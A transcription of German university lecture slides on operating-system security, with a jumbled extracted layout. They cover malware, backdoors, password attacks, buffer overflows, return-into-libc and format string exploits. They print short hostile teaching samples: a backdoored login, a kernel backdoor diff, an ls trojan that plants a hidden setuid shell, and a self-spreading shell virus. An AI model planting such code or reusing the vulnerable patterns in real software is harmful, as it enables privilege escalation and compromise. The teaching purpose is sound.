6 Folien/Seite
Transcription
6 Folien/Seite
Überblick Vorlesung Betriebssysteme II Thema 7: Betriebssysteme-Sicherheit I Grundbegriffe I Bösartige Software I Authentifizierungsmechanismen Angriffstechniken: I Robert Baumgartl I I I 18. Mai 2015 I Buffer Overflow Return-into-Libc Format String Exploit Angriffscode (Shellcode) 1 / 109 2 / 109 Grundbegriffe Grundbegriffe Ziele der Systemsicherheit Bedrohungen Vier Kategorien: Quelle Ziel Bedrohung Vertraulichkeit Ausspionieren der Daten Datenintegrität Datenmanipulation Systemverfügbarkeit Denial of Service Quelle Ziel Abfangen der Information Tabelle: Sicherheitsziele und deren Bedrohungen Quelle eng verwandt: I Ziel Quelle Ziel Unterbrechung ungestörter Informationsfluß Quelle Modifizieren der Information Interruption: z. B. Denial-of-Service, I Interception: Angriff auf Vertraulichkeit I Modification: Angriff auf Integrität, z. B. Man-in-the-Middle Attack I Fabrication (Forging): z. B. Einfügen gefälschter Objekte in System Ziel Fälschen der Information Abbildung: Szenarien Datenschutz – Verhinderung des Missbrauchs personenbezogener Daten Ziel I 3 / 109 4 / 109 Überblick Logische Bomben Bösartige Software Wirtsprogramm nötig Idee: Implantierung „bösartigen“ Codes in Applikationen (oder in das BS), Aktivierung des Codes, sobald eine bestimmte Aktivierungsbedingung erfüllt unabhängig I Aktivierungsbedingung Eintritt eines Datums → (logische) „Zeitbombe“ (Kalender von Aktivierungsdaten: http://vil.nai.com/vil/calendar /virus_calendar.aspx) I meist simples Löschen von Daten I häufig eingesetzt, um „Rache“ für Entlassung o. ä. zu üben Hintertüren Logische Bomben Viren Würmer Trojanische Pferde verbreiten sich selbständig Abbildung: Mögliche Kategorisierung bösartiger Software I I lokale vs. entfernte Angriffe on-line- vs. off-line-Angriffe 5 / 109 6 / 109 1 Ausschnitt aus dem McAfee-Aktivierungskalender Hintertüren (Back Doors) Idee: Einbau (nichtdokumentierter) Schnittstellen in Software zwecks späterem (unautorisiertem) Zugriff auf das System. 12. Mai W97M/Alamat, W97M/Yous, VBS/Horty.b@MM, VBS/Horty.a@MM, WM/Alliance.A, WM/Envader.A (Intended), WM/Eraser.A:Tw, VBS/Aqui 13. Mai VBS/Aqui, VBS/Zync, WM/Eraser.A:Tw, VBS/Alphae, WM/Envader.A (Intended), Twno.A, WM/BOOM.A;B, WM/BADBOY.A;B;C, WM/FRIDAY.D, WM/FRIDAY.A, WM/Goldsecret.B:Int,WM/CVCK1.B;E, W97M/Rapmak.a, W97M/Yous, W97M/Alamat, WM/SHOWOFF.G, W97M/BackHand.A, W97M/Idea.A, W97M/Digma 14. Mai X97M/Jal.a, VBS/San@M, W97M/Este, W97M/Alamat, W32/SoftSix.worm, W97M/Yous, VBS/Valentin@MM, WM/PHARDERA.C ;D (INTENDED), W97M/Class.B, W97M/Class.D, W97M/Ekiam, WM/Eraser.A:Tw, VBS/Aqui 15. Mai . . . I Mißbrauch von geheimen Debugging-Schnittstellen I schwierig von BS-Seite aus zu erkennen I häufiges Relikt aus der Produktentwicklung I Behörden sind häufig der Meinung, ein Anrecht auf Hintertüren zu haben I Gegenmaßnahme: Code Reviews, Open Source I symmetrische vs. asymmetrische Hintertüren I viele Würmer installieren Back Doors I Klassiker: Back Orifice (http://www.cultdeadcow.com/tools/bo.php) I feste Master-BIOS-Passworte, z. B. lkwpeter bei Award BIOS 7 / 109 8 / 109 Beispiel einer Hintertür Beispiel 2 (Backdoor im Linux-Kern; nice try) Beispiel: Login-Code mit Hintertür1 From: Larry McVoy [email blocked] Subject: Re: BK2CVS problem Date: Wed, 5 Nov 2003 14:23:02 -0800 while (TRUE) { printf("login: "); get_string(name); disable_echoing(); printf("password: "); get_string(password); enable_echoing(); v = check_validity(name, password); if (v || strcmp(name, "zzzzz") == 0) break; } execute_shell(name); On Wed, Nov 05, 2003 at 12:58:13PM -0800, Matthew Dharm wrote: > Out of curiosity, what were the changed lines? --- GOOD 2003-11-05 13:46:44.000000000 -0800 +++ BAD 2003-11-05 13:46:53.000000000 -0800 @@ -1111,6 +1111,8 @@ schedule(); goto repeat; } + if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL; retval = -ECHILD; end_wait4: current->state = TASK_RUNNING; --Larry McVoy 1 Andrew S. Tanenbaum. Modern Operating Systems. 2. Aufl. Prentice-Hall, 2001, S. 610. lm at bitmover.com 9 / 109 10 / 109 Beispiel 2 (Backdoor im Linux-Kern; nice try) I jemand modifizierte die Kernelquellen (unautorisiert) I fraglicher Code gehört zu sys_wait4(), d. h. dem Systemruf wait4() I „verkleideter Code“; current->uid = 0 sieht so ähnlich aus wie current->uid == 0 I wenn jemand wait4() aufruft und die Optionen __WCLONE und __WALL sind gesetzt, so wird der Rufende root I Code wurde beim Review entdeckt (“It’s not a big deal, we catch stuff like this, but it’s annoying to the CVS users.”) Trojanische Pferde („Trojaner“) Idee: dem Nutzer ein Programm unterschieben, welches bei Aktivierung unerlaubte Aktionen ausführt I anstelle eines Eindringlings führt ein autorisierter Nutzer Schadcode aus I Beispiel: gefälschter Login-Bildschirm I Klassiker: Compiler, der unbemerkt bösartigen Code in übersetzte Programme einbaut2 I vgl. „Bundestrojaner“ 2 Ken Thompson. “Reflections on Trusting Trust”. In: Communications of the ACM 27.4 (Aug. 1984), S. 761–763. 11 / 109 12 / 109 2 Beispiel eines simplen UNIX-Trojaners Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen I Zugriff auf Daten des Angegriffenen 13 / 109 14 / 109 Beispiel eines simplen UNIX-Trojaners Beispiel eines simplen UNIX-Trojaners (ls benennen und im Pfad eines Nutzers unterbringen) (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen I Zugriff auf Daten des Angegriffenen 15 / 109 16 / 109 Beispiel eines simplen UNIX-Trojaners (Computer)-Viren (ls benennen und im Pfad eines Nutzers unterbringen) #!/bin/sh cp /bin/sh /tmp/.xxsh chmod u+s,o+x /tmp/.xxsh rm ./ls ls $* I kopiert und versteckt Shell I setzt das SetUID-Bit und macht die Shell für alle ausführbar I → läuft mit den Rechten des Eigentümers, anstatt mit denen des Aufrufenden I Zugriff auf Daten des Angegriffenen “A virus is a program that is able to infect other programs by modifying them to include a possibly evolved copy of itself.” (Fred Cohen) einige Varianten: 17 / 109 I Stealth-Viren I polymorphe Viren I Bootsektor-Viren I Macro-Viren 18 / 109 3 Beispiel für viralen (virulenten?) Code Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: Analyse: I beschränkt auf eigenes Verzeichnis I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I mehrfache Infektion wahrscheinlich I kein Payload I kein Payload I leicht zu analysieren ;-) I leicht zu analysieren ;-) 20 / 109 19 / 109 Beispiel für viralen (virulenten?) Code Beispiel für viralen (virulenten?) Code for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done Analyse: Analyse: I beschränkt auf eigenes Verzeichnis I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I mehrfache Infektion wahrscheinlich I kein Payload I kein Payload I leicht zu analysieren ;-) I leicht zu analysieren ;-) 22 / 109 21 / 109 Beispiel für viralen (virulenten?) Code Ein (etwas) besserer Virus for i in *.sh; do if test "./$i" != "$0"; then tail -n 5 $0 | cat >> $i; fi done for i in *.sh; do if test "./$i" != "$0"; then HOST=$(echo -n $(tail -10 $i)) VIR=$(echo -n $(tail -10 $0)) if [ "$HOST" != "$VIR" ] then tail -n 10 $0 | cat >> $i; fi fi done Analyse: I beschränkt auf eigenes Verzeichnis I mehrfache Infektion wahrscheinlich I kein Payload I leicht zu analysieren ;-) 23 / 109 24 / 109 4 Würmer Komponenten eines Wurms 1. Aufklärung neuer Hosts als potentielle Angriffsziele “An independently replicating and autonomous infection agent, capable of seeking out new host systems and infecting them via the network.” (Jose Nazario. Defence and Detection Strategies against Internet Worms. Artech House, 2004) I I I 2. Angriffscode I Bekannte Vertreter: I W32.Blaster I Melissa I Mydoom I Sasser I Conficker IP-Adreßräume (partiell) durchsuchen lokale Suche in (z. B.) Konfigurationsdateien OS Fingerprinting, um BS-Typ und -Version zu ermitteln I I Remote Exploit bekannter Schwachstellen Trojanisches Pferd (z.B. Mail mit attached Binary) benötigt für jede anzugreifende Plattform Exploit 3. Kommunikation I I I z. B. mittels ICMP, UDP, . . . , E-Mail über verdeckte Kanäle Verbergen beteiligter Prozesse und Sockets mittels Kernelmodul oder durch Störung von Überwachungssoftware 25 / 109 26 / 109 Komponenten eines Wurms Rootkits Def. Ein Rootkit ist ein (üblicherweise unerwünschtes) Programm, das sich nach Installation vor dem Nutzer verbirgt. Merkmale: I Installation typischerweise nach erfolgreichem Einbruch, um Einbruchszweck abzusichern, z. B.: 4. Kommandoschnittstelle I I interaktiv oder indirekt (script-gesteuert) typische Kommandos: Up-/Download von Dateien, Flut-Ping, Generierung von HTTP-Requests, . . . I I 5. Verwaltung der erfolgreich angegriffenen Hosts I I I I verteilte oder zentralisierte Datenbank Liste aller befallenen Rechner in privatem IRC-Channel dauerhafte Unterwanderung des Systems Diebstahl von Passwortdaten per Keylogger oder Sniffer verschafft sich keine root-Privilegien, sondern benötigt diese bei Installation Eintrittsvektoren: I versehentliches Ausführen I physischer Zugriff des Angreifers auf System I Einbruch via Netzwerk 27 / 109 28 / 109 Rootkits Rootkits dateibasierte vs. kernelbasierte Rootkits Gegenmaßnahmen 1. dateibasierte Rootkits I tauschen Werkzeuge aus, die zur Detektion des Rootkits genutzt werde könnten (ssh, ps, ls, netstat) I Unterart: Library Rootkits: tauschen die entsprechenden Systembibliotheken aus I laufen im User Mode 1. Unrechtmäßigen root-Zugriff verhindern 2. Unrechtmäßigen root-Zugriff verhindern (again!) 3. Deaktivierung des Modulmechanismus (→ alle Treiber statisch in den Kernel kompiliern) 4. Vergleich nach außen geöffnete Ports (netstat) mit externem Portscan (nmap) → Achtung, „Hackertool“! 2. kernelbasierte Rootkits I modifizieren (Überraschung!) den Kernel z. B. über Modulmechanismus oder Speicherabbild (/dev/kmem) I äußerst schwierig zu detektieren 5. Suche nach charakteristischen Zeichenketten im Hauptspeicher (Werkzeug chkrootkit) 6. Boot von sauberem Datenträger (Live-CD) und Suche nach „verdächtigen“ Dateien 29 / 109 30 / 109 5 Authentifizierung Mögliche Angriffe auf den Vorgang der Authentifizierung = Identifizierung von Nutzern durch einen Host-Rechner I Eingabe eines Passwortes bei der Anmeldung I Prüfung des eingegebenen Passwortes durch Host I Host muß das Passwort nicht kennen (→ kein Diebstahl z. B. durch Administrator möglich) I Stattdessen: Nutzung von Einwegfunktionen Protokoll: 1. Nutzer übermittelt dem Host Passwort I Ausspähen des Passwortes I Social Engineering I Erraten des Passwortes I Wörterbuchangriff I Brute Force 2. Der Host wendet eine Einwegfunktion auf das Passwort an. 3. Der Host vergleicht das Ergebnis mit dem Wert, der beim Anlegen des Zugangs gespeichert wurde. 32 / 109 31 / 109 Erraten des Passwortes mein eigener PC (idir) /var/log/auth.log, Ausschnitt Ein legendärer Einbruch im Lawrence Berkeley Laboratory (Clifford Stoll. Kuckucksei. Fischer, 1989): Apr 5 14:44:35 idir sshd[14612]: .99.106.4 port 40799 ssh2 Apr 5 14:44:39 idir sshd[14620]: 42116 ssh2 Apr 5 14:44:43 idir sshd[14630]: 43885 ssh2 Apr 5 14:44:44 idir sshd[14640]: Apr 5 14:44:46 idir sshd[14640]: 99.106.4 port 45676 ssh2 Apr 5 14:44:47 idir sshd[14648]: Apr 5 14:44:49 idir sshd[14648]: 99.106.4 port 47395 ssh2 Apr 5 14:44:51 idir sshd[14656]: Apr 5 14:44:53 idir sshd[14656]: m 93.99.106.4 port 48814 ssh2 Apr 5 14:44:54 idir sshd[14666]: Apr 5 14:44:56 idir sshd[14666]: 99.106.4 port 50581 ssh2 Apr 5 14:44:58 idir sshd[14674]: Apr 5 14:45:00 idir sshd[14674]: 93.99.106.4 port 51972 ssh2 Apr 5 14:45:01 idir sshd[14684]: Apr 5 14:45:03 idir sshd[14684]: 93.99.106.4 port 53530 ssh2 Apr 5 14:45:05 idir sshd[14692]: Apr 5 14:45:07 idir sshd[14692]: 99.106.4 port 55065 ssh2 Apr 5 14:45:10 idir sshd[14702]: 56829 ssh2 Apr 5 14:45:11 idir sshd[14710]: Apr 5 14:45:13 idir sshd[14710]: .99.106.4 port 60192 ssh2 Apr 5 14:45:15 idir sshd[14718]: Apr 5 14:45:17 idir sshd[14718]: 99.106.4 port 33440 ssh2 Apr 5 14:45:21 idir sshd[14728]: 35208 ssh2 Apr 5 14:45:24 idir sshd[14736]: 36679 ssh2 Apr 5 14:45:27 idir sshd[14746]: 38334 ssh2 Apr 5 14:45:31 idir sshd[14754]: 39667 ssh2 Apr 5 14:45:32 idir sshd[14762]: Apr 5 14:45:34 idir sshd[14762]: .99.106.4 port 41516 ssh2 Apr 5 14:45:35 idir sshd[14770]: Apr 5 14:45:37 idir sshd[14770]: 3.99.106.4 port 42957 ssh2 I Apr 5 14:45:39 idir sshd[14780]: LBL> telnet elxsi Elxsi at LBL login: root password: root incorrect passwort, try again login: guest password: guest incorrect passwort, try again login: uucp password: uucp WELCOME TO THE ELXSI COMPUTER AT LBL I bei gut gewarteten Systemen heute nahezu aussichtslos 33 / 109 Wörterbuchangriff (Dictionary Attack) I I potentielles Passwort potentielles Passwort, verschlüsselt Diebstahl der Passwortdatei I Vergleich der verschlüsselten Wortliste mit den Hashes aus der Passwortdatei I Bei Übereinstimmung ist das unverschlüsselte Passwort der entsprechende Eintrag aus der Wortliste Failed password for root from 93.99.106.4 port Invalid user test from 93.99.106.4 Failed password for invalid user test from 93. Invalid user test from 93.99.106.4 Failed password for invalid user test from 93. Invalid user webmaster from 93.99.106.4 Failed password for invalid user webmaster fro Invalid user user from 93.99.106.4 Failed password for invalid user user from 93. Invalid user username from 93.99.106.4 Failed password for invalid user username from Invalid user username from 93.99.106.4 Failed password for invalid user username from Invalid user user from 93.99.106.4 Failed password for invalid user user from 93. Failed password for root from 93.99.106.4 port Invalid user admin from 93.99.106.4 Failed password for invalid user admin from 93 Invalid user test from 93.99.106.4 Failed password for invalid user test from 93. 34 / 109 Failed password for root from 93.99.106.4 port Failed password for root from 93.99.106.4 port Failed password for root from 93.99.106.4 port Invalid user danny from 93.99.106.4 Failed password for invalid user danny from 93 Invalid user sharon from 93.99.106.4 Failed password for invalid user sharon from 9 Passwort wird vor Verschlüsselung mit einer Zufallszahl Invalid user aron from 93.99.106.4 konkateniert (dem Salz) alle möglichen Worte, Namen, Bezeichner usw. mittels der Einwegfunktion des Betriebssystems verschlüsseln I Failed password for root from 93.99.106.4 port Failed password for root from 93.99.106.4 port Erschwerung des Wörterbuchangriffes mittels Salz Idee: I Offline-Generierung einer Liste aus Einträgen mit I Failed password for invalid user admin from 93 usw. I Salz wird mit in der (geheimen) Passwortdatei gespeichert I bei genügend großer Anzahl möglicher Hash-Werte wird ein Wörterbuchangriff unmöglich I Mallory müßte zu jedem Wort alle möglichen Salz-Werte durchprobieren → Werkzeug john, the Password Cracker 35 / 109 36 / 109 6 Beispiel: Bibliotheksfunktion crypt() Weitere Gegenmaßnahmen gegen Wörterbuchangriff char *crypt(const char *key, const char *salt); „crypt() is the password encryption function. It is based on the Data Encryption Standard algorithm with variations intended (among other things) to discourage use of hardware implementations of a key search.“ I key zeigt auf die (unverschlüsselte) Passphrase I salt ist Zeiger auf Salz (zweibuchstabige Zeichenkette) I Resultat: DES-verschlüsselter Passworthash I moderne Implementierungen bieten bessere Hashverfahren (z. B. SHA-512) I möglichst keine Hinweise auf Länge des PW (’*’ u. ä.) in der Eingabemaske I möglichst kein Hinweis, ob NKZ gültig oder nicht I Verzögerung nach jedem erfolglosen Anmeldeversuch periodisches Erneuern der Passworte: I + gecrackte PW werden automatisch ausgetauscht − nachteilig, daß Nutzer ständig neue PW lernen müssen 37 / 109 38 / 109 Challenge-Response zur Authentifizierung Beispiel: Authentifizierung in Windows Ablauf: 1. Alice schickt Bob (dem Host) ihr Nutzerkennzeichen I Authentifizierungsprotokoll NTLM - NT Lan Manager I zum großen Teil reverse-engineered I liegt mittlerweile offen Grobablauf: 2. Bob sendet eine Zufallszahl („Nonce“ - (random) number, used once) an Alice ≡ Challenge 1. Client (Nutzer) schickt eine sog. Type-1-Nachricht an den Server, die verschiedene Parameter der Authentifizierung festlegt 3. Alice verschlüsselt die Nonce mit ihrem Passwort und schickt das Chiffrat an Bob ≡ Response 2. Server (Host) antwortet mit einer Type-2-Nachricht, die u. a. eine 8 Byte lange Nonce enthält 3. Client verschlüsselt die Nonce mit seinem Passwort als Schlüssel, schickt Chiffrat als Type-3-Nachricht an Server 4. Bob verschlüsselt die Nonce ebenfalls mit Alice’ Passwort (d. h., Bob muss Alice’ Passwort kennen) 5. ist das Chiffrat gleich der Antwort von Alice, so wird Zugang gewährt I I konkretes Verfahren hängt von den zuvor ausgehandelten Parametern ab es wird MD4, MD5 und DES eingesetzt Literatur: http://davenport.sourceforge.net/ntlm.html 39 / 109 40 / 109 Sicherheit von NTLM Stellen 6 6 8 8 8 11 Zeichenraum A-Za-z0-9 A-Za-z0-9, 22 SZ A-Za-z0-9 A-Za-z0-9, 22 SZ A-Za-z0-9, alle SZ A-Za-z Authentifizierung mit physischen Objekten Dauer 1 min 6 min 2 d, 17 h 33 d 82 d 270 a I I Schlüssel Chipkarten I I passiv – “Stored Value Cards”, z.B. Telefonkarten aktiv – “Smart Cards”, ausgerüstet mit 8-Bit-CPU, Scratch RAM, ROM, EEPROM Server PC 1. Challenge an Smart Card Tabelle: Maximale Dauer der Ermittlung von NTLM-Passworten mittels „Distributed Password Recovery“ (ElcomSoft) 22 SZ = typische Sonderzeichen, d.h. _@#$&+-=%*"~!?.,:;()<> I genutztes System: AMD Athlon X2 4850e, 2 Nvidia GeForce 9800 GTX (Stefan Arbeiter und Matthias Deeg. “Bunte Rechenknechte”. In: c’t 6 (2009), S. 204–206) I 3. Response an Server Smart Card 2. Smart Card errechnet Antwort Abbildung: Nutzung einer Smartcard zur Authentifizierung 41 / 109 42 / 109 7 Buffer Overflow (Sehr einfaches) verwundbares Programm # i n c l u d e < s t d i o . h> i n t main ( i n t argc , char ∗ argv [ ] ) { char b u f f e r [ 5 1 2 ] ; i f ( argc > 1 ) { s t r c p y ( b u f f e r , argv [ 1 ] ) ; } return 0; } Angriffstechniken 44 / 109 Buffer Overflow Stack Overflow Prinzip Ausschnitt des Stacks I hohe Adressen bestimmte Funktionen der C-Bibliothek führen keine Längenprüfung ihrer Argumente aus (Klassiker: strcpy()) Funktionsparameter Idee: lokale Variablen (über deren Länge hinaus) mit einer solchen Funktion überfluten (Stack Overflow) I Überschreiben der Rückkehradresse auf dem Stack mit Adresse einer Schadroutine I bei Verlassen der aktuellen Funktion → Sprung zur Schadroutine I Ursache: mögliches Verlassen von Feldgrenzen in C, ungeprüfte Länge der Argumente von Bibliotheksfunktionen wie strcpy() oder gets(), gezielte Manipulation von Zeigervariablen <Ret> SFP lokale Variablen Puffer niedrige Adressen ... I ... 43 / 109 46 / 109 Stack Overflow Ausschnitt des Stacks Ausschnitt des Stacks Funktionsparameter Funktionsparameter <Ret> <Ret> SFP lokale Variablen SFP lokale Variablen Puffer Puffer niedrige Adressen 47 / 109 ... niedrige Adressen hohe Adressen ... hohe Adressen ... Stack Overflow ... 45 / 109 48 / 109 8 Ausschnitt des Stacks hohe Adressen ... Stack Overflow Ausschnitt des Stacks ... Stack Overflow hohe Adressen <Ret> <Ret> SFP lokale Variablen SFP lokale Variablen Puffer Puffer niedrige Adressen niedrige Adressen ... Funktionsparameter ... Funktionsparameter 50 / 109 Buffer Overflow Einfache Gegenmaßnahmen Stackguard Idee: Schutz der Rücksprungadresse durch zusätzliches Canary Word. I Verzicht auf unsichere Funktionen, u.a. strcpy(), strcat(), sprintf(), vsprintf(), gets() bzw. Nutzung der Pendants mit Bereichsprüfung, aber: I Semantik nicht übereinstimmend (z. B. nullterminiert strncpy() das Ziel nicht bei maximal langem String) Geschwindigkeitsnachteile Legacy Code? I Overflow überschreibt Canary I beim Rücksprung aus Funktion wird Canary auf Integrität getestet I I I I hohe Adressen Funktionsparameter Canary Word wird im Funktionsprolog angelegt <Ret> Canary SFP lokale Variablen Puffer niedrige Adressen ... Buffer Overflow ... 49 / 109 Abbruch, wenn falscher Wert 51 / 109 52 / 109 Buffer Overflow Stackguard Wahl des Canary Word Grenzen des Konzepts I Terminator Canary – Werte nutzen, die typische Zeichenkettenfunktionen terminieren Wert Symbol 0x00 0x0a 0x0d -1 LF CR EOF Semantik stoppt strcpy() stoppt gets() stoppt gets() Tabelle: Terminator Canary I moderate Leistungseinbuße I Lokale Variablen und Saved Frame Pointer nicht geschützt I Canary Word u. U. durch Angreifer restaurierbar, wenn statisch I vgl. „Bulba“ and „Kil3r“. “Bypassing Stackguard and Stackshield”. In: Phrack 10.56 (Jan. 2000). URL: http: //www.phrack.org/issues/56/5.html#article optimal ist z. B. 0x000d0aff I Random Canary – erst zum Programmstart generiert; Angreifer kann darauf nicht mehr reagieren (Angreifer läuft parallel zum angegriffenen Programm) 53 / 109 54 / 109 9 StackShield Ausführungsverbot beschreibbarer Seiten (W⊕X ) Einfachster Fall: Architektur unterstützt Execute-Recht im Seitentabelleneintrag (Beispiele: Sparc, PPC, IA64) Problem: IA32 tut dies nicht. Lösung 1: NX („No-Execute“) aka „Enhanced Virus Protection“ Idee: 1. Rücksprungadresse im Prolog in eine extra Tabelle kopieren I erfordert Physical/Page Address Extension (PAE) – existiert eigentlich ab Pentium Pro 2. im Epilog Kopie der Rücksprungadresse wieder an entsprechende Position im Stack schreiben I NX jedoch erst ab Prescott-Kern (Intel), AMD64 I Seitentabelleneintrag 64 Bit (anstatt 32) 3. keine Prüfung auf Identität I Seiten, Seitentabellen und Seitentabellenverzeichnis 4 KiB I nur noch 1/4 der Einträge → drittes Hierarchielevel (vgl. folgende Grafik) I gegenwärtig: 36-Bit-Adressen (maximal: 52 Bit) I Bit 63 ist das (No)-Execute-Bit 55 / 109 56 / 109 Adressumsetzung bei PAE Ausführungsverbot beschreibbarer Seiten (W⊕X ) II Lösung 2: Emulation in Software 31−30 29...21 PTR Dir 20...12 Table 11...0 Offset lineare Adresse CR3 PageDirPt3 PageDirPt4 gewähltes Byte PD−Eintrag alle PTEs der zu schützenden Bereiche (Stack, Heap, Daten) haben initial Supervisor-Bit gesetzt I → Pagefault bei Zugriff Handler: I PageDirPt1 PageDirPt2 I gewählte Seite I PTE Page Directory Pointer Table Page Directory 512 Einträge I Page Tables 512 Einträge NX−Bit (63) physischer Adreßraum bei Instruction Fetch → Abbruch der Task, Logging des Angriffs bei Datenzugriff: Rücksetzen des SV-Bits, Zugriff ausführen (Überführung der Übersetzung in Data-TLB), Setzen des SV-Bits I weitere Datenzugriffe durch DTLB gecacht I nur möglich, wenn getrennte Daten- und Code-TLBs 57 / 109 58 / 109 Ausführungsverbot beschreibbarer Seiten Address Space Layout Randomization (ASLR) Beobachtung: Distanz zwischen Top-of-Stack (TOS) und anzugreifender Rücksprungadresse ist konstant, wird offline (werkzeuggestützt) erraten und in Exploit eingebaut. Einbau in Betriebssysteme: I Linux ab 2.6.8 I Windows XP ab SP2; kein Backport nach Windows 2000 I PaX-System, vgl. http://pax.grsecurity.net Idee: Anfangsadressen von Stack, Heap und Code werden zufällig zur Ladezeit generiert. Problem: eingeblendete shared Libraries – müssen auch zufällig verteilt werden $ cat /proc/self/maps | grep libc I 59 / 109 erschwert auch return-into-libc-Exploits 60 / 109 10 Return-into-Libc Stacklayout bei Return-into-Libc Argumente der (angegriffenen) Funktion originaler Stack: Manipulation einer Rückkehradresse auf dem Stack mittels Buffer Overflow I jedoch („Rück“-)Sprung in eine Shared Library (libc) anstatt zu eigenem Shellcode (Abb. nächste Folie) I I I Low lokale Variablen sfp RET arg0 arg1 arg2 High Rückkehradresse aus libc−Ruf manipulierter Stack: Beispiel: system("/bin/sh"); (führt /bin/sh -c /bin/sh aus) Argument 0 des libc−Rufes Überflutung sfp wenn angegriffenes Programm setuid root ist, wird damit eine root-Shell geöffnet Adr in libc dummy I arg0 "/bin/sh" system() { ... macht nichtausführbaren Stack wirkungslos Code in der libc } 62 / 109 61 / 109 Anmerkungen I dummy-Feld ist „Rückkehradresse“, die angesprungen wird, wenn system() verlassen wird I irrelevant, wenn interaktive Shell gestartet wurde, da diese nicht zurückkehrt Bestimmung der Einsprungadresse (statisch) robge@hadrian$ cat dummy.c int main() { system(); } robge@hadrian$ gcc -o dummy dummy.c robge@hadrian$ gdb -q dummy Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.s (gdb) break main Breakpoint 1 at 0x8048362 (gdb) run Starting program: /home/local/robge/src/cracking/dummy Breakpoint 1, 0x08048362 in main () (gdb) print system $1 = {<text variable, no debug info>} 0xb7ed8990 <system> Gegenmittel: Address Space Layout Randomization, Parameterübergabe in Registern (ELF64-SystemV ABI bei x86-64) 63 / 109 64 / 109 Dynamische Ermittlung der Einsprungadresse Verkettung zweier libc-Rufe Argumente der (angegriffenen) Funktion originaler Stack: Idee: I Sohn erzeugen, der kontinuierlich system("") aufruft I Instruction Pointer springt zwischen main() und system() (libc-Funktion) I mittels ptrace() kann die genaue Adresse von system() bestimmt werden Low lokale Variablen sfp RET arg0 arg1 arg2 High "dummy" manipulierter Stack: Überflutung sfp Adr1 in libc Adr2 in libc arg0 arg0 für für setuid system "/bin/sh" ... Code ansehen . . . setuid() { ... } 65 / 109 =0x01010101 o.ä. system() { ... } 66 / 109 11 Verkettung zweier libc-Rufe Return-into-Libc-Angriff Weitere Techniken Reihenfolge setuid() → system() I I setuid(0) leider unmöglich, da Pufferüberlauf damit vorzeitig abbrechen würde I I nur möglich, wenn erster libc-Aufruf genau ein Argument übernimmt (dummy-Lücke) I weitere Rufe nicht möglich mehr als 2 libc-Aufrufe mit beliebig vielen Argumenten (!!) I I I Frame Pointer Lifting Frame Faking Nullbytes im angegriffenen Puffer ebenfalls möglich Literatur: “Nergal”. “The advanced return-into-lib(c) exploits: PaX case study”. In: Phrack 11.58 (Dez. 2001). URL: http://www.phrack.org/issues/58/4.html#article 68 / 109 67 / 109 Wie funktioniert eigentlich printf()? int printf(const char *format, ...); Format String Exploits I zeichenweises Kopieren des Format-Strings nach stdout I %-Platzhalter wird durch TOS (Top of Stack) ersetzt, das entsprechend formatiert wird (SP wird entsprechend angepaßt) I %s: ZK, auf die TOS verweist, wird ausgegeben (terminiert, wenn \0 gelesen) I %n: schreibt Anzahl bereits ausgegebener Bytes in Variable, auf die TOS verweist (Schreiboperation auf Stack!) I → keine Prüfung auf Art und Anzahl der Argumente zur Übersetzungszeit möglich 69 / 109 70 / 109 Beispiel für Nutzung von printf() Explizite Adressierung von Argumenten printf-ex.c #include <stdio.h> int main(int argc, char *argv[]) { char string[7] = "sample"; int A = -72; unsigned int B = 31337; int count_one, count_two; /* Example of printing with different format string */ printf("[A] Dec: %d, Hex: %x, Unsigned: %u\n", A, A, A); printf("[B] Dec: %d, Hex: %x, Unsigned: %u\n", B, B, B); printf("[field width on B] 3: ’%3u’, 10: ’%10u’, ’%08u’\n", B, B, B); printf("[string] %s Address %08x\n", string, string); I Zur direkten Adressierung von Argumenten im Formatstring dient der ’$’-Operator I Zählung ab 1 #include <stdio.h> int main(void) { printf("%2$s%1$s%3$s%1$s\n", "otz", "H", "enpl"); return 0; } /* Example of unary address operator and a %x format string */ printf("count_one is located at: %08x\n", &count_one); printf("count_two is located at: %08x\n", &count_two); /* Example of a %n format string */ printf("The number of bytes written up to this point X%n is being stored \ in count_one, and the number of bytes up to here X%n is being stored in \ count_two.\n", &count_one, &count_two); printf("count_one: %d\n", count_one); printf("count_two: %d\n", count_two); Beispiel für Nutzung des $-Operanden im Formatstring /* Stack Example */ printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); return 0; } 71 / 109 72 / 109 12 Stacklayout Beispiel für verwundbare Funktion fmt_vuln.c #include <stdio.h> #include <stdlib.h> #include <string.h> printf("A is %d and is at %08x. B is %u and is at %08x.\n", A, &A, B, &B); int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; if(argc < 2){ printf("Usage: %s <text to print>\n", argv[0]); exit(0); } strcpy(text, argv[1]); Adresse von B Wert von B 